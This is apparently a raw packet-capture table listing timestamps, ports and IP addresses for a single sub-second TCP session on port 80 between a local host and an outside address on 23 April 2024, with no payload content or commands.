Apr 23, 2024 09:38:22.391508102 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391516924 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391542912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391550064 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391578913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391614914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391638041 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391649961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391650915 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391685963 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391694069 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391721964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391727924 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391760111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391763926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391802073 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.539695978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.539742947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.539756060 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.539779902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.539783955 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.539819002 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.539823055 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.539860010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.539879084 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.539899111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.539901018 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.539937019 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.539940119 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.539973021 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.539978027 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.540010929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.540014982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.540062904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.541476011 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.541517019 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.541527033 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.541553020 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.541562080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.541589975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.541591883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.541625977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.541666985 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.541678905 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.541703939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.541707039 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.541740894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.541780949 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.541788101 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.541820049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.541827917 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.541857004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.541862965 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.541898012 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.541934013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.541944027 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.541970015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542006016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542012930 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542042017 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542042017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542078018 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542083979 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542115927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542119980 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542155027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542159081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542191982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542192936 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542228937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542238951 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542265892 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542270899 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542315006 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542362928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542397976 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542434931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542440891 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542470932 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542478085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542507887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542515993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542545080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542550087 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542582035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542587042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542618990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542624950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542656898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542656898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542694092 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542696953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542731047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542736053 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542768002 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542773962 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542803049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542808056 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542840004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542876959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542882919 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542913914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542924881 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542949915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542954922 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.542988062 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.542993069 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.543024063 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.543030977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.543061972 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.543066025 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.543097973 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.543106079 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.543133974 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.543139935 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.543170929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.543175936 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.543207884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.543246031 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.543251991 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.543282986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.543296099 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.543319941 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.543324947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.543365002 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.585547924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.585602999 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.585660934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.585697889 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.585706949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.585751057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.585756063 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.585788012 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.585793972 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.585835934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.585841894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.585879087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.585913897 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.585923910 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.585949898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.585957050 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.585987091 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.585993052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.586023092 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.586028099 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.586060047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.586066008 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.586102009 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.587610960 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.587718964 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.587768078 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.587804079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.587807894 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.587841034 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.587841988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.587883949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.587913990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.588000059 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.588078022 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.588131905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.588139057 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.588176012 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.590295076 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.590348005 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.593715906 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.593763113 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.593847036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.593883991 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.593893051 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.593920946 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.593934059 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.593956947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.593981028 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594001055 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594027042 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594063044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594096899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594104052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594132900 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594137907 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594187975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594188929 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594223976 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594237089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594259977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594295025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594302893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594331026 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594337940 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594367981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594376087 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594403982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594439983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594446898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594475031 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594480991 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594511986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594518900 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594548941 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594552040 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594584942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594588995 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594620943 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594655037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594665051 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594691038 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594696999 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594727039 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594739914 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594763994 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594770908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594799995 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594801903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594835997 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594846010 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594872952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594882011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594909906 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594944000 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594944954 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.594979048 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594979048 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.594983101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595019102 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595036983 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595056057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595061064 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595092058 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595093966 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595129013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595132113 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595165968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595185995 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595221043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595242977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595256090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595287085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595292091 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595307112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595328093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595362902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595366955 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595397949 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595402002 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595436096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595441103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595472097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595477104 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595510006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595513105 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595552921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595556974 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595590115 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595624924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595632076 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595660925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595665932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595696926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595702887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595732927 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595733881 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595771074 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595773935 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595805883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595807076 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595844030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.595849037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.595884085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.741049051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.741099119 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.741122961 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.741137981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.741167068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.741174936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.741185904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.741211891 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.741218090 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.741250992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.741256952 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.741288900 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.741293907 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.741327047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.741332054 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.741365910 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.741372108 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.741681099 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744147062 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744185925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744221926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744221926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744245052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744259119 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744271994 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744302988 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744332075 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744368076 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744374990 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744405985 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744411945 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744442940 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744452953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744479895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744489908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744518042 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744529963 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744555950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744565010 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744594097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744599104 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744632006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744637012 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744668961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744674921 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744705915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744712114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744744062 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744750023 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744780064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744787931 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744818926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744829893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744854927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744863033 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744891882 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744894981 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744927883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744932890 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.744966030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.744971991 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745006084 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745006084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745045900 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745063066 CEST	80	49733	185.172.128.76	192.168.2.4
